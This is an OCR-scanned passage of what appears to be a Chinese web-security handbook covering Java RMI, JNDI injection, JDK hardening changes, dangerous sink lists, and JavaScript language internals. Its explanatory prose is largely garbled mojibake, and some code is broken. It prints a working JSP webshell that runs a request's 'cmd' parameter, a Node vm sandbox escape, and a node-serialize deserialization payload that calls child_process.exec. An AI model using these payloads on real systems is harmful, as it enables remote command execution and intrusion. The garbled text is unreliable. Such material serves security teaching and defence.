— AR REFI NN (CEE (Enterprise JavaBeans) ):

Person EOF X

public interface Person {

public int getAge() throws Throwable;
public String getName() throws Throwable;

{& M PersonServer SE¥ Person

194

Chapter 5. EEE5iEZR




Web-Sec Documentation, &% 1.0

public class PersonServer implements Person {

private int age;

private String name;

public PersonServer(String name, int age) {
this.age = age;
this.name = name;

by

public int getAge() {
return age;

3

public String getName() {

return name;

{#F Person_Stub SE¥ Person

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.net.Socket;
public class Person_Stub implements Person {
private Socket socket;
public Person_Stub() throws Throwable {
// connect to skeleton
socket = new Socket("computer_name", 9000) ;
}
public int getAge() throws Throwable {
// pass method name to skeleton
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("age");
outStream.flush();
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
return inStream.readInt();
¥
public String getName() throws Throwable {
// pass method name to skeleton

ObjectOutputStream outStream =

(@3
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(8:EW)

new ObjectOutputStream(socket.getOutputStream());
outStream.writeObject("name");
outStream.flush();
ObjectInputStream inStream =

new ObjectInputStream(socket.getInputStream());

return (String)inStream.readObject();

Skeleton B4SEIR

import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.net.Socket;
import java.net.ServerSocket;
public class Person_Skeleton extends Thread {
private PersonServer myServer;
public Person_Skeleton(PersonServer server) {
// get reference of object server
this.myServer = server;
}
public void run() {
try {
// new socket at port 9000
ServerSocket serverSocket = new ServerSocket(9000);
// accept stub's request
Socket socket = serverSocket.accept();
while (socket != null) {
// get stub's request
ObjectInputStream inStream =
new ObjectInputStream(socket.getInputStream());
String method = (String)inStream.readObject();
// check method name
if (method.equals("age")) {
// execute object server's business method
int age = myServer.getAge();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());

// return result to stub

(T gk%E)
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(8:EW)

outStream.writeInt (age);
outStream.flush();
}
if (method.equals("name")) {
// execute object server's business method
String name = myServer.getName();
ObjectOutputStream outStream =
new ObjectOutputStream(socket.getOutputStream());
// return result to stub
outStream.writeObject (name) ;

outStream.flush();

}

} catch(Throwable t) {
t.printStackTrace();
System.exit (0);

}

public static void main(String args []) {
// new object server
PersonServer person = new PersonServer("Richard", 34);
Person_Skeleton skel = new Person_Skeleton(person);

skel.start();

Client S£Ij

public class PersonClient {
public static void main(String [] args) {

try {
Person person = new Person_Stub();
int age = person.getAge();
String name = person.getName() ;
System.out.println(name + " is " + age + " years old");

} catch(Throwable t) {
t.printStackTrace();

(T gk%E)
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T3 ik

T3 Prise T4 WebLogic 55 fMIHABZERAY Java RE/7 2 (0] L5 B AL, /2 Weblogic Xf RMI i
TERSEE. Tk, WIRAME T3 #y2Es JDNI 45 ] i a4 .

JRMP
Java LR ¥EPMYL (Java Remote Method Protocol, JRMP) 245 T Java FARM) . HTALAG] LR
RGBT X IRIBITTE Java B2 AP (RMI) 2~ TCP/IP Z _EZEgE L.

JRMP j&—A~ Java $EE ). 3G H T Java Z [AefEJH 3T AP, BoRE P umfl iR 554 LA Java
POE

5.3.9 JNDI

[F]

JNDI(Java Naming and Directory Interface, Java iyl H k82 0) 28 Java W Rt a4 I H %35
WSS APL, foiffs P 0k & PO SR8 . X4, HITHRAtE TR B ST . XX 5 n] DA
TEHEA I a2 8 B sk kg5, filan RMI, CORBA, LDAP. DNS 4,

Hi Naming Service T IEARA K/V X, 2 FREIRBOT W IR S5 . Directory Service j&—FhEik
) Naming Service, 2Ll H sy 2RAEHURSS -

( Naming Manager )

NDS AMI CORBA JNDI

Implamentation

t t t t t t Possibilities
JNDI EAN

JNDI ¥ A &2 2016 4y pentester 7£ BlackHat USA ) A Journey From JNDI LDAP Manipulation To
RCE BUHE Y .«
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Hyahd Rt
L. Wri#F Payload 465 B Wi iy v 44 / H Rl 55
- BB RRAERS URL 3 A5 52 Bidi iy INDI #4074
- YRR AT AR
- BN P R B MG A 4 Y INDI i 955 & [5] Payload
7 PR P R B e [+ fh A R B 28

[\

w

>~

ot

B

JDNI 345 LR
« CORBA
« IOR
e JNDI Reference
« LDAP
e Remote Location
e Remote Object
« RMI

e Serialized Object

RMI Remote Object

Y& S —A4 RMI BRRGEFEX I 95E 8] RMI Registry b, Kf4iif /510 RMI ufe i 5 504
HTTP/FTP/SMB k% 4% . H Codebase itk iR 45 #510) java.rmi.server.codebase J&
WHE, M2 FHHF RMIL & e A 2.

AT
o RMI % iy bR S5 A ir i b efe Codebase.
e JETE java.rmi.server.useCodebaseOnly [{J{H N false.

HAr JDK 6u4b. Tu2l j5, java.rmi.server.useCodebaseOnly FHI{HERIAH true.

RMI + JNDI Reference

i F i RMI k4532 Bl—4 JNDI Naming Reference, %%E#H i Reference B4 AU EIGEM
AR AL N2 Factory 26, XAy EIFIEE A RMI Class Loading #L#|, M AAZ java.rmi.
server.useCodebaseOnly AG BRI . {H27 JDK 6ul32, JDK 7ul22, JDK 8ull3 J5BRiil T Nam-
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ing/Directory R 45 # JNDI Reference 2 MZ% Object Factory 245, G J@1E com.sun. jndi.rmi.
object.trustURLCodebase . com.sun.jndi.cosnaming.object.trustURLCodebase F{JERIA(EHAS N false,
BIERIA R Fi M TERRRY Codebase M#ZL Reference T.J 2%,

LDAP + JNDI Reference
Java 1) LDAP 0] DATEJRPEM P At 1y Java X145, H LDAP JiR55 1) Reference i fil# Factory JEA%Z

com.sun. jndi.rmi.object.trustURLCodebase . com.sun.jndi.cosnaming.object.trustURLCodebase

SFIRIERIRR S, 8 HIEREE)

5.3.10 JDK
JDK 8

e sun.net.www.protocol AT FF gopher P

8u251

o com.sun.org.apache.bcel.internal.util. ClassLoader 254 %

8ul9gl

o LDAP jif# Reference fRASERIAAE(E, 0 LDAP iifE Reference I 75K

8ul2l

o RMI AT RJFHI4L 45 BRI
o RMI it#E Reference fCHSERINAIEAE, 500 RMI it Reference AU 772

8ull3

e com.sun.jndi.rmi.object.trustURLCodebase BRi\} false

e com.sun.jndi.cosnaming.object.trustURLCodebase ZRi\ K false

JDK 7

7u201

o LDAP iif# Reference fAASBGARNIEE, 50 LDAP % Reference ARSI 7=
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7ul2?

e com.sun.jndi.rmi.object.trustURLCodebase BRi\ N false

o com.sun.jndi.cosnaming.object.trustURLCodebase ZRi\N false

7ud0

. java.io.File RN T isTnvalid Jiik, Kol SCUE4 b RA @& 251

JDK 6

6u2l1

o LDAP jf# Reference fRASERIAAEIE, 0 LDAP iifE Reference AT 75K

6ulsdl

e com.sun.jndi.rmi.object.trustURLCodebase BRi\ N false

e com.sun.jndi.cosnaming.object.trustURLCodebase ERi\ >y false

6u4b

e java.rmi.server.useCodebaseOnly BRI\ true, 2] @ ShhnzmfEZs o)

5.3.11 DL Sink

HLHIT/EN

o java.lang.Runtime.getRuntime().exec()

 java.lang.ProcessBuilder

XXE

¢ java.net.bull.javamelody.PayloadNameRequest Wrapper
e javax.xml.bind.Unmarshaller

e javax.xml.parsers.DocumentBuilderFactory

e javax.xml.parsers.SAXParser

e javax.xml.stream. XMLStreamReader

5.3. Java
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¢ javax.xml.transform.sax.SAXSource

e javax.xml.transform.sax.SAXTransformerFactory
e javax.xml.transform.TransformerFactory
¢ javax.xml.validation.SchemaFactory

¢ javax.xml.validation.Validator

e javax.xml.xpath.XpathExpression

e org.apache.commons.digester3.Digester
o org.apache.ofbiz.base.util. UtilXml

e org.dom4j.io.SAXReader

e org.jdom.input.SAXBuilder

e org.jdom2.input.SAXBuilder

o org.xml.sax.helpers. XMLReaderFactory

e org.xml.sax.XMLReader

SSRF

« HttpClient.execute

« HttpClients.execute

e HttpURLConnection.getInputStream
e ImagelO.read

o OkHttpClient.newCall.execute

e Request.Get.execute

e Request.Post.execute

e URL.openStream

e URLConnection.getInputStream

R P35It

R Sink F$

e JSON.parseObject
¢ ObjectInputStream.readObject

e ObjectInputStream.readUnshared
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ObjectMapper.readValue
e XMLDecoder.readObject
¢ XStream.fromXML

e Yaml.load

Magic Call

PATT B BEAR T iR AR SF 5 R e E SRR -
+ readObject
e readExternal
e readResolve
+ readObjectNoData
e validateObject

e finalize

% JSON

L) JSON JFA Gson. Jackson. Fastjson 2%, [Nk JSON FAESFAI A, B AR ZEAEA BRI

.
oot Gon BRIA U RER FFAMERAR, SRR A, FrOR i OCBURUTAULHLR], HIRS HLR 224

Jackson [&dEFEHH @jsonAutoDetect, Jackson A< JF44kAE public @ . XEBF I, AT DA enableDe-
fault Typing J¥. 3¢ CVE 4 CVE-2017-7525, CVE-2017-15095.

FastJson /2 B 5 L FFIR JSON BT, SZHpRF Java Bean J¥514kk JSON 245, 3R JSON &
FrHR R FEA46E] Java Bean, #i13¢ CVE 45 CVE-2017-18349 2,

FastJson % LAY Sink fif:
¢ JSON.toJSONString
e JSON.parseObject

e JSON.parse

5.3.12 WebShell
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BCEL F¥540

String bcelCode = "...";
response.getOutputStream() .write(String.value0f (new ClassLoader() .loadClass(bcelCode) .
—getConstructor(String.class) .newInstance(request.getParameter("cmd")) .toString()).

—getBytes());

B % XMk eR

response.getOutputStream() .write(new ClassLoader() {
@0verride
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("shell")) {

return findClass(name);

}

return super.loadClass(name);
}
@0verride

protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("...");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null,
— (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, O, bytes.length, protectionDomain) ;
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
3
}.loadClass("shell") .getConstructor(String.class) .newInstance(request.getParameter ("cmd
")) .toString() .getBytes());

%>

PITHLER
e java.lang.ProcessBuilder#start

e java.lang.Runtime#exec
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e TemplatesImpl

TR

¢ class.forName

e MethodAccessor.invoke

¢ Method.invoke

H{th Shell TH

java.beans.Expression
java.lang.ClassLoader

java.net.URLClassLoader

jdk.nashorn.internal.runtime.ScriptLoader

ObjectInputStream.resolveClass

ScriptEngine.eval

ScriptEngineManager

ToolProvider.getSystemJavaCompiler

Tomcat

Servlet
Filter

Listener

5.3.13 &%k

BAXHE

ognl

Java SE Security Guide

Java RMI Release Notes for JDK 6

Java Release Notes for JDK 7

5.3.
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http://commons.apache.org/proper/commons-ognl/
https://docs.oracle.com/javase/9/security/toc.htm
https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
https://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
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CIE L

o TRABE Java HINEKL

RFF5It
LY

o Java JPIfE [H%E—]

e Java 14 Object Serialization Specification

ARSI

e Marshalling Pickles how deserializing objects can ruin your day
e AppSecCali 2015: Marshalling Pickles

e More serialization hacks with AnnotationInvocationHandler
o Pure JRE 8 RCE Deserialization gadget

e Breaking Defensive Serialization

o Java FUFHETRIRMATTEIEA

o Java Sy A4 iR E H A o dr

o JRE8u20 74 ki 7t

o T Java RS S IML

o Commons Collections Java &5

« FAR SIDES OF JAVA REMOTE PROTOCOLS

o JDK8u20 SFAIALIFHT L PoC 8 KA AL B

o Pwn a CTF Platform with Java JRMP Gadget

o 2%k JEP 290

o« WebLogic )75 1¢. 11 %

o M WebLogic & I8 il 4 A -5 B
o JSON [J¥5ik2 5%

o Shiro 41{Ffwi -5 Mol A
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https://www.cnblogs.com/czwbig/p/11127222.html
https://blog.csdn.net/silentbalanceyh/article/details/8183849
https://docs.oracle.com/en/java/javase/14/docs/specs/serialization/index.html
https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
https://frohoff.github.io/appseccali-marshalling-pickles/
http://wouter.coekaerts.be/2015/annotationinvocationhandler
https://github.com/pwntester/JRE8u20_RCE_Gadget
http://slightlyrandombrokenthoughts.blogspot.com/2010/08/breaking-defensive-serialization.html
https://mp.weixin.qq.com/s/nNTw3HMnkX63d9ybdx3USQ
https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/
http://www.freebuf.com/vuls/176672.html
https://xz.aliyun.com/t/3847
https://security.tencent.com/index.php/blog/msg/97
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://nosec.org/home/detail/4846.html
https://www.freebuf.com/articles/web/169770.html
https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e
https://github.com/shengqi158/fastjson-remote-code-execute-poc/blob/master/Java_JSON%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8B%E6%AE%87_%E7%9C%8B%E9%9B%AA%E5%AE%89%E5%85%A8%E5%BC%80%E5%8F%91%E8%80%85%E5%B3%B0%E4%BC%9A.pdf
https://mp.weixin.qq.com/s/j_gx9C_xL1LyrnuFFPFsfg
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e Application Security With Apache Shiro
o Shiro LZAHEL [P AT]]
o Shiro SZH% (M) - 1 &SP
g ]
e Java Sandbox Escape
LIS

Struts

Struts Examples

Eclipse Jetty
SpringBootVulExploit SpringBoot #H X=X %k, P TEMETL G4, BEL4 TP checklist

HEZRFI RIS

o Spring Boot Fat Jar 3 {FiA% % RCE MIRE

RMI

Java RMI 5 RPC X 5l

Remote Method Invocation (RMI)

Java f1 RMI, JNDI. LADP, JRMP, JMX. JMS Lz )L,

Oracle: Developing T3 Clients

JNDI

e Overview of JNDI
e T JNDI HEA
e A Journey From JNDI LDAP Manipulation To RCE

wnfrSgid A JDK R ER 0T JINDI A

WebShell

o P jsp webshell
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https://www.infoq.com/articles/apache-shiro/
https://zhuanlan.zhihu.com/p/54176956
https://cloud.tencent.com/developer/article/1367702
http://phrack.org/papers/escaping_the_java_sandbox.html
https://github.com/apache/struts
https://github.com/apache/struts-examples
https://github.com/eclipse/jetty.project
https://github.com/LandGrey/SpringBootVulExploit
https://landgrey.me/blog/22/
https://www.cnblogs.com/ygj0930/p/6542811.html
https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
https://paper.seebug.org/1091
http://docs.oracle.com/cd/E11035_01/wls100/client/t3.html
https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
https://paper.seebug.org/417/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.freebuf.com/column/207439.html
https://xz.aliyun.com/t/7798
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HivlwiR

o JAVA FILEY XXE Jil SR

5.4 JavaScript

5.4.1 ECMAScript

[F]y

ECMAScript s2—# ECMA Epriiid ECMA-262 T b AR F B0 iE S, EEERR N JavaScript
5 JScript. WA, FLAIAN ECMAScript /2 JavaScript i—AMnif, HEEPR EJR##E 2 ECMA-262 5
HERSE BRI -

hRZ

1997 4F 6 H, \iA. 1998 4F 6 H, #Ef7 THABIE, DM HIE\S ISO/IEC16262 5 FrfrifE—2.
1999 4F 12 H | 5IABKAIENZFRIAA, FEATREE B, Brivizshlaa <, S, s OF
IR, ot ks S LB O . TSl T R TS R BN, 5 4 AT, Hhaoi
PR T H 5 A Sz Harmony FEERS .

2009 4F 12 H, SHREAT, Bl A (strict mode)”, WS TFZHE 3 ARSI, HH@EN T
SIIEA—E B RSB AT o M T BRI RE 0 getters K setters, SHF JSON DARAEX SR
P bR SE R U

2015 4 6 H, 5 6 kA, i pififEe ECMAScript 6 (ES6), 7N T JMSiH i ifys, %14%, Python
RAE IR s AR e b o, Bk, —dERIEdE, BS2R804, 4£4 (maps, sets fll weak maps),

promise, reflection FI proxies.

2016 4E 6 H, ECMAScript 2016 (ES2016) %7, 5| A Array.prototype.includes . $§5UEHAF. SIMD
SEHREE
2017 4E 6 H, ECMAScript 2017 (ES2017) %, ZAHAESHIE S EE.

2018 4F 6 /1, ECMAScript 2018 (ES2018) KA & T 5 IHEF, ALl , By IE 255U rest /spread
.

ESG6 4%t

o const / let
A T
o fi#r

— [a, b] = [10, 20]
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o MG R S
« for...of fEH
o .oxxx JEIRBREA
o WS
o HikREL
o BRIASHREL
o BRIMES A
« %
5.4.2 5|&

V8

V8 J2 Chrome [ JavaScript {5 AT (VM) . HF|Z ) TurboFan. Ignition Fil Liftoff 2H%. Hr
Turbofan 2 HA 1R, Ignition N2 HA#RESS, Liftoff 12 WebAssembly FIfCHSAE Wi .

SpiderMonkey

SpiderMonkey #& Mozilla i H i—B4, &4 C/C++ LI JavaScript JIAG %,

JavaScriptCore

JavaScriptCore HIHLALIAT S AU ER4Y, LLInt, Baseline, DFG. FTL. LLInt 25 a0 BRI T304y,
Baseline i i) JIT, DFG FrBIF-afic—Emiitk, FTL B T o miiie.

ChakraCore

ChakraCore Jg&— 523K JavaScript FEHIML, HHEEEEL, AT Edge WS AK IE B EHARA H

JScript

JSeript J& i MHTT A MIATE S, 25T ECMAScript SIFERISEH, T IE BRI

JerryScript

JerrySeript jg—NE M THA R B H/NY JavaScript 518, i = BEIFAFF4ES
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5.4.3 WebAssembly

&g

I 2, WASM J&—Fh7p A SAEN Vi as AT IR B k. ER— R il HliE S, HR ok E e
ALPRES FaBAT. TEIBATI, AR B R A RS, W RATEN BE g A PR oA LA, RS UL SE
JavaScript A RHIINAT .

a7
RT3 T RELAAR I 7 AR G B Wasm 285, (2 MY &FFEEH 2 JavaScript Y04

FEW Bias Pz ATy, Wasm [ R 7o ZORFHAUH 2 SO MR SCPF K JavaScript A7 I 84, 285
M JavaScript SEHESCHESACEDER, HEIANGEXERA JavaScript (BRI DL T ELEAE TR R Wasm,

IR Wasm W DAJ] C / C++ SFEFRWE , HEARSG ARSI SMYIRGEIETH.. XEWRE 2 Wasm [
R FP AR A 7ot SOR SRR, RS T S SR B DI RE , SR T ) W A e R Ak i o SR

Wasm HHJNAE R4 MER), B Wasm W HREFFH JavaScript Z [ 35, 24 Wasm pRHCGF 7475 R 9] 245
JavaScript i}, ‘B 5LPR FaREl—A~f810 Wasm W R 725 18] A7 B A TR 5T . Wasm W HREFF A5 HAEVT
F A BLZA B W) JavaScript NAFHSY, A2 NAFA R

z&
Wasm FBT AT LA T % R ARIUE Wasm {204
o DRIPH PO 3Z ol T JC T 1A R T 5 R R ) R P R PP P AR
o BRI S Sl T R D Y AR P R
o NIFEN BRI R S ARHE
NN ]
o Wasm R FAEVAE NBAT
o Wasm JeiRAAE BHIEEFT BR B . Wasm SR R ECHAT S 51055, g S A e i Bk
o [ BRSO ] 32 J U AR A R AR I 2R
o VAR Z B0, X TERE JoiR A FR
o LB THEHIA RN, X R VA SN R KR R T

544 {fERBSAE

{ERS 51 A%
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fEmsE
] RO UL, A 30 2 A 5 R RO RT3
JavaScript 1EHTEGEFE R EORIE IR, e Ui~ ek B 28 AR R BN AS AT AT )
PEIRT CAZY SR s SRy SRR  dk, Hevp & Jm i I R 20 DA =Rk o -

o BRI E LA B 2R A T I

o RECHBERE RS R B 3 A 4R

o window Xt (@ A 41

Je A s U [ s A AR A BEA AT D 08, e IR B AN BR BN, T A S s o i g i
(it

e RsttR

15 ES5 FrifEmy, FAT 4z e AR R e, BOA BRI, R AT RE S A it A A

var i = 1;

function £() {
console.log(i)
if (true) {

var i = 2;

}
£0; // undefined

{EREIRFA (var Hoisting)

A& JavaScript W, ] var 7R A R AT TS AR M Y TAE LN R BT, XA T RR
Hoisting. Bl N HIX BT SFERCT 56 — BefUps

function foo() {
console.log(x); // => undefined
var x = 1;
console.log(x); // => 1

}

foo();

function foo() {

var Xx;

(FIugkzE)

5.4. JavaScript 211




Web-Sec Documentation, 475 1.0

console.log(x); // => undefined
x = 1;
console.log(x); // => 1

}

foo();

{ERE5E

MERBRIIATI, SRS R BN TR TR A, RN BB AS B, U2 1) 7 e Y _E A I
TR, HEIREERERECN L, XA AR I

A8
PR 5 R HORAS BIRIE 3RS (lexical environment) 5] 3L [FEIH B4 (closure) . a2, MM AT PALE

AR A AT R RS 1) MR R A ke A JavaSeript,  pRBSCEESE U B AR I 42

& JavaScript 1, H-BAHFERXE private TrIARYSCRE, B0/ IE R BERA — 2R i B T AT
P 0P R — T AR TR IR %6 38N AR T R A Ry A4 2SR BE T, G
ORISR MG e TR AL Dy . R R — AR B

var Counter = (function() {
var privateCounter = O;
function changeBy(val) {
privateCounter += val;
}
return {
increment: function() {
changeBy (1) ;
¥,
decrement: function() {
changeBy (-1);
},
value: function() {
return privateCounter;
}
}
BO;

console.log(Counter.value()); /* logs 0 */

Counter.increment();

(T gk%E)
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(8:EW)

Counter.increment () ;
console.log(Counter.value()); /* logs 2 */
Counter.decrement () ;

console.log(Counter.value()); /* logs 1 */

ER/MR

SRR MRS, ERETER 2R

PSP HM RS E globalThis , B4 MIEHEEA this (MR . 75 SMEN YRS P A self Al
window & JRXTE, Web Workers H/F1E self £JAXt4, Node.js F/FELE global & JRXTA .

5.4.5 ERER
&

15 ES5 1, BR T IR R TR Z A, B TR (strict mode) , X AU A B By o
PR RS /IR« (sloppy ) AREATE ™ M 25 1 N IB AT PRI — T4 B4
el T TS IR AU AN [ 43 S

SR H R B
o STEHLH R T AT R R 5
o Wil JavaScript FEEIY— SR AT, LA, W BB AT
o WHRIEFTH SR TR A, BEEATLE %S
o B8 T LR JavaScript 3IMELAMATIEILIOBUA , SR ARSI, WIS T
o $JTHE ECMAScript (R FMTA il BE 27 UKL, WARIHTIIANY JavaSeript Mkl

AR

JEASHE ] "use strict"; FAFERIFE. XTEANA NS, WTPARF "use strict" JCAEMIA IR
B AT A AR D RGBT IR ATIBEAE S — AT WA S AR, SPAEFEEETT.

XHEAASBRELMNT  , FF "use strict" FAERBUARI AT, WAL 8 Hz1T

ThAYE

FESARAE T, A DA AT s
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2REERXFH

FEIEFRECH, AR R B IR, BOA R e R i, P RARAR kX R L, 2 )RAs i
A

"use strict";
for(i = 0; i < 2; i++) { // ReferenceError: i is not defined

}

FIEER with &4
with {EHICIAAER AR E , JEPESIRITEMEAXT S, XS IRRCR, BroAE O gt Ik

g% eval {ERE

IEFRET, eval IRAIRIFENSER, BT EAT 2R, @®RAT B/, T, eval 4]
AREgUE—MERE, AR A R R T, BRI AR H AT eval .

FiEMEREE

JERARA T TR MR AZ . VA configurable [ETY true HUXTRIEM:, A REGMFE .

B

IR — 28R R L BRI, (EU@ AR B MR s, BARA LR
XF— ARG H SR A TR

XA getter Ty AU JE MU I (E

XA 1k R X SRS B e 1

e — AN A e 4 e

BIEHIR

FURSREACHTIY T — AR,
o MEAREAELIENE
o REANREREAISH
o BRI NBERIFRIE
RO AR TR

B
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o BOHORET
— class
— enum
— export
— extends
— import

— super

LW

o ZIL this XETIRHNERMSR
o BRIk R AR P S T R R

PR#lI arguments Y&

o ARAVNT arguments IRAH
o arguments NFIBEES I Z L

o Z5IL#i ] arguments.callee

5.4.6 FLHLH
async / await

async function K887 AR o SR AL

Promise

Promise X} 5@ —MUEIXT S (RE—ME) , $AHEAE Promise X4 AIER W] B2 KA. B ARIFIR
R AR B R A3 S8 A A B (handlers) o 33X Lk 528 0 0] AR R 2B 5 B A HER [lE
EFHAR L RIR B R A PATEE R, T — D EEARAK ISR promise Xf4

—~ Promise A AN JLAIIRZ:
o pending: FIRRAES, BEAZMT), HARKMIRE.
o fulfilled: FEREBRNEMINTERL
o rejected: FEWRFEHAERIM.
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pending JRZSHY Promise XA RELAE N fulfilled MRASH 1L — ME LA AR BE ¥, AT REAE K2k
WORES (rejected) FEALEERMUGEE . S A E—FE LIS, Promise X4 then JryA4H e AL
(handlers ) ¥ (then FEA S AZ40: onfulfilled F1 onrejected, "BEf1#lZ Function Z5#!, 4
Promise JRZCH fulfilled B, 8] then A onfulfilled J5¥%, 24 Promise JRZH rejected B, iEJf then By
onrejected J5¥, T LATES A BRAE ) 58 AN 95 28 A7 V5 2 [BIAEAE S ) o

> Promise.prototype.then 1 Promise.prototype.catch J5y¥£iR [B] promise %1%, ArPAEATR] DAL EE=CE
o

HATEASI

JavaScript HH) A THLEAIT -
o IR S HAE A EIET, B — PTG
o BB, A MMEFS I RERPALHFA T4, WAE L5 I 2 PicE— .

o —HIITHAMIA RS T, REMABPUES S, R RLRAWLESErE, IR
FHALS, TRARSPRE, AT, THARIT.

o FEBRAWEL FHH=L.

oA S SR AR 2 ARG, AR BE PIAZ HA [) B) S 2B A el AN TR A 0 W 2 RBEHIR B Sh AT, Seb
BAES AP R IR A I EESS BAS . ATRAZY ) DOM o, Ip[a] [l . 0 2% [m] i = fif -

« DOM Fiff: il bEas iz DOM BiboRAMEE, 4F R A A, 18 ol B2 Bds i 24T 55 EA 51
H

o IFE][EE: setTimeout / setInterval 55 pR%<s N Vs WAZIY timer B HEATAERFALEE 224 Fsf i) 2]
IBIA G, R R R BCA N EE 55 BAA

o ML ajax / fetch 280 H X Ya 2% N AZY) network BEEORACEE, FEM 24 K52 GR B2 J5, A REm]
e PNIIEIRE R L e

5.4.7 RISk
BB R

JavaScript R B R FA (explicit prototype property) FlaR 5% (implicit prototype link).

Horp 2 U258 prototype, AN —MENE, X MEIER R, R IX%, BRBUT R
BErE, RARB A%

KR A JavaScript AL REA K A EJETE prototype. £ ES5 2 B oA AR HERY J5 ¥A 17 XA~ P4 B
JETE, ERRZ BN A SC Rl __proto__ RiIM. ES5 A TR XA EBIEIRHER Get Jrik
Object.getPrototypeOf () .

P Y 4 18 B X DX GBI ER (constructor) B prototype, __proto__ Hi i) {2 24 Hil Xt G i I 2 Xt 52
1fii prototype FF IR, DA B oK R A A H) T o RSO 1 DR AR SR IR B R
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2R PR R S BT IR B A AR 5 TR P 3L 2. R B T A O B, (A ) T SE B T
R R . 28017, BIATTTI obj XAXTRAFW x JEIERF, UIRAE ob] AR, MAMSHTH
__proto__ {KK&HK.

Note: Object.prototype X xfZZANHI4, B H__proto__ {H4 null

new ByidiE

var Person = function(){};

var p = new Person();

new HIREYF AT =2 - var p={}; ¥WH—"X% p - p.__proto__ = Person.prototype; -
Person.call(p); #4i& p, WAILAFRZ AHILH p

REEIETH 8, FATRIUEN—TF:

var Person = function(){};
var p = new Person();

alert(p.__proto__ === Person.prototype);

XAk E true. BEIAFRATAETR 2 2 IEMRY.

B

var Person = function(){};

Person.prototype.sayName = function() {
alert("My Name is Jacky");

};

Person.prototype.age = 27;
var p = new Person();

p-sayName () ;

p &5 $E1 Person X5 . FAE Person [JEA g ST —4> sayName J75A01 age J&TE, H3A]
AT p.age I, S5E7E this FNFRAH (RALRMEREINER) , WERBA LB MRS P& AL _EIa .

X EIBWE AR ERYE? X EAEM A __proto__ JEMOREEREF A (2 Person.prototype)
BT . HAAERA EHE] T age JRIE.

REESR

WHTSCARENN), JavaScript 2754k, i) __proto__ & H BTG 25 ma 24 H R R AUW X5 . Btk
BEE M RS, i n] R B A T
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5.4.8 PiERER
CIE R

Fuisd, e HMER eval , F'S Function.prototype.constructor / GeneratorFunction /
AsyncFunction %75 2R 5E MUHI VDA . TEXAMEOLT, FIABEH BIE— N8 iframe iY77 R IRICH
UEAYREZS

B 35 4 0 46

JavaScript $24t TJRARY vm B, HFRE T BSOS (H 2RI AR SR W] AT R AR
JavaScript API Fl14>Jaf) NodelJS Ffs,

FE A AR R, A ki 7 2 -

const vm = require('vm');

const sandbox = {};

const whatIsThis = vm.runInNewContext ("
const ForeignObject = this.constructor;
const ForeignFunction = ForeignObject.constructor;
const process = ForeignFunction("return process")();
const require = process.mainModule.require;
require("fs");

*, sandbox) ;

% 8% JavaScript JFE v BRIGEREE , AITRE AT T vm2 AR E LM R, (FRAEIHIR
A ] R A E— L ki Ty 5, i

vm. runInNewContext (
'"Promise.resolve() .then(()=>{while(1)console.log("foo", Date.now());});y
—while(1)console.log(Date.now())"',
{console:{log(){console.log.apply(console,arguments);}}},
{timeout:5}
)s

5.4.9 RFE5{t
&
JavaScript 4~ 53V H ST SEIE, (H2—2 %40 node-serialize. serialize-to-js 28 X T P54 HE .

X E T JSON B e fiftdids, HE2MEAEKE JSON.parse, JSON.stringify AN[E], XL T
AT S0 SOF AL, FERE AL, RN, WA aE 2 B F 514k )
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Payload #3i&

R R R BT, E SRR SIS

var y = {

rce : function(){

require('child_process').exec('ls /', function(error, stdout, stderr) { console.
~log(stdout) });

},

}
var serialize = require('node-serialize');

console.log("Serialized: \n" + serialize.serialize(y));

AT Sk ]

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error,,

—stdout, stderr) { console.log(stdout) 1});}"}

Ritix B payload RFFMLGEH AT, (HZFE IS o schisr RIVE i 4355 (Immediately Invoked
Function Expression), M. (function () { /* code */ } ); XFEMSPATHRECT A . ABATRPA
i X PO YRS BT I R B AR R SR SE I — IR P HA . 5511 payload JU{ANT:

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',
— function(error, stdout, stderr) { console.log(stdout) });}(O"}';

serialize.unserialize(payload) ;

Payload #3i& 11

PA_E #3172 node-serialize X P AL R E T3, BF —JEEEN funcster, & B EBHEFATERN
T R ORI T

return "module.exports=(function(module,exports){return{" + entries + "};})(;";

XAy AT AGE AR A4 ) R F3E payload..

5.4.10 jsfuck cheat sheet

Basic values

e undefined > [][[]]

e false > ![]
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e true > !![]

NaN > +[!'[]]

e 0> +[]
o 1> +1+[]

o 2> 1+[1+1+[]

Basic strings

o "' > [1+11]

o 'undefined' > [J+[][[]]
o 'false' > [1+![]

o 'true' > [I+!![]

e 'NaN' > [I+(+[![11)

e 0" > [1+(+[D)

o "1 > [1+(+!1+[D)

o '2' > [I+(+[1+1+[D)

o '10' > [+!'+[11+[+[]]

o '"11' > [+!1+[11+[+!1+[1]

e '100" > [+!+[1+[+[11+(+D)

Higher numbers

e 10 > +([+!'+[11+[+[11)
e 11 > +([+!'+[11+[+!+[1D)

